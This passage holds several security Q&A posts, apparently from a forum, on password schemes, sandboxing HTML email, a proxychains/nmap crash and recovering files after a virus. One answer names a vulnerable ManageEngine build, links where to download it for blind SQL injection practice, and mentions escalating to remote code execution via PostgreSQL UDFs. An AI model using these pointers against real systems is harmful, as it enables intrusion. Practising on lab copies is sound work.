As a final note, sometimes it's easy to miss additional threats introduced by a new security measure simply because its new and hasn't been thoroughly tried yet.  As an example, when people first started storing passwords online I doubt they realized the threat that database leaks in conjunction with password reuse would post, which is why so many systems (even today) store passwords in plain-text.  This system is likely no different.  I can point out one very obvious reason why (I think) this would actually make shoulder surfing more dangerous.  I doubt the average user will be able to answer a query like "Give me letters 2, 3 and 6 from your password" (taken from the paper abstract) easily off the top of their head.  I doubt I would.  If I didn't give it much thought I would probably do what most people would probably do after scratching their head for a minute: write down their password on a piece of paper and circle the letters being requested.  Now your password is even easier to read for any shoulder surfers, as well as the janitor.  As a result, even without the large caveat above, I suspect that if this method seems better it is only because it hasn't been used enough for the main problems to be found.
A better answer
Occasionally questions show up here suggesting alternate password schemes. My answer in all cases are pretty much the same: the inherent problem with passwords is that people are bad at passwords (easy to guess passwords, password reuse, etc...).  The solution isn't to do passwords "better".  The solution is to not do passwords.  As a result, if you were running a website and wanted a better way to protect your users, the best bet isn't to make your users beta-testers for some not-yet-well-vetted password scheme.  Rather, the best bet is to try to ditch passwords all together.  Browsers are just now starting to support password-less login methods (with webauthn looking like the coming standard).  The technology is a bit young yet (i.e. there may yet be undiscovered implementation weaknesses) so I might wait a bit before using it on critical systems (banks, email, etc...).  However, moving to a password-free login method will be a much better option..


How to safely display html emails like gmail does it? I'm building a webmail, which must be able to display html emails. But how to prevent xss and similiar attacks, while not loosing html formatting?

In gmail, when I receive some emails from, lets say, twitter, they are nicely formatted. I'm after something like this.

Html5 supports sandbox attribute for iframes, which seems to solve my problem, but it's badly supported. I need a solution which works in MODERN browsers, but which doesn't become insecure in old browsers. It is acceptable for this NOT TO WORK at all in old browsers, but it cannot become insecure. It should work in IE9 and above.

What are my options?

Google spends a lot of money each year in bug bounty to ensure that Gmail isn't susceptible to XSS. Part of this effort has produced Google-Caja, which is an open source project that filters HTML to a "safe" subset.

HTML filter sandboxes like Caja rely upon an "older" solution that uses complex parsing techniques, and thousands of regular expressions to filter out XSS payloads.  A "newer" solution is the Content-Security Policy, which allows the developer to build HTML pages that are totally immune to reflective and persistent XSS, and this is a stronger protection than what Caja is able to provide.  CSP would be the best solution,  but it is "too new",  IE and older browsers don't support it.

If I needed to jail HTML, I would use Caja with a strict CSP ruleset.


Blind SQL Injection POC in Java I am looking for some java applications (other than Manage Engine) vulnerable to Blind SQL Injection attacks for Authentication Bypass. I explored exploitdb and others but didn't find anything interesting.
Can anybody help me with some links of Java based applications vulnerable to Blind SQL injection attacks along with POC steps.
Thank you.

There are a lot of (blind) SQL injections in various ManageEngine software. For example you could train on ManageEngine Application Manager before 13730 which has at least one affecting "AMUserResourcesSyncServlet" :
https://manageenginesales.co.uk/news/manageengine-applications-manager-build-13730-released/
It is a blind SQL injection, however dumping data may not be the ultimate goal. It is possible to achieve RCE using PostgreSQL capabilities (default backend provided by manageengine), such as UDF for example. I think this vulnerability has been widely documented :-)
You can download the vulnerable software here: https://archives.manageengine.com/applications_manager/


Proxychains + nmap = segmentation fault If I try the sV (service detection) flag in nmap run via proxychains (socks5 server) it appears to give me a segmentation fault message:-

root@kali:~# proxychains nmap -n -sT -Pn X.X.X.X -p 22,80,222,10000 -sV
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-25 16:40 BST
Segmentation fault

If I remove -sV or limit my scan to certain ports it is OK.

Is this a bug in nmap and/or proxychains and is there any way to fix it?

For me, the solution was, that I disabled the DNS through socks:

in /etc/proxychains.conf file, just add a # before the line "proxy_dns"


Potentially unsafe files on second hard drive, how to get my files back? I have my files on a second hard drive (disconnected for now). This drive was connected to a system infected with Virus:W32/Virut. I have formatted my main hard drive and reinstalled Windows XP. Now I want to connect the second hard drive to get my files (mostly text-based and no executable. However, I am not sure if connecting the drive and bringing windows up is safe. So I prefer to first bring up a dos like environment to transfer the files to the main hard and then format the potentially harmful drive. Is there a tool to do this?

The problem with a Windows virus is that it is "generally toxic" for Windows, which cannot really touch it safely. So the solution is to use something else than Windows to recover your files. I suggest Linux, namely the installation CD for Ubuntu. If you boot on this CD (or USB key), you get a live Linux system with which you can access the disks and copy your text files; no need to install anything.

Practically speaking, Linux is mostly immune to Windows virus (and Windows is immune to Linux virus, too, but there are not many of those).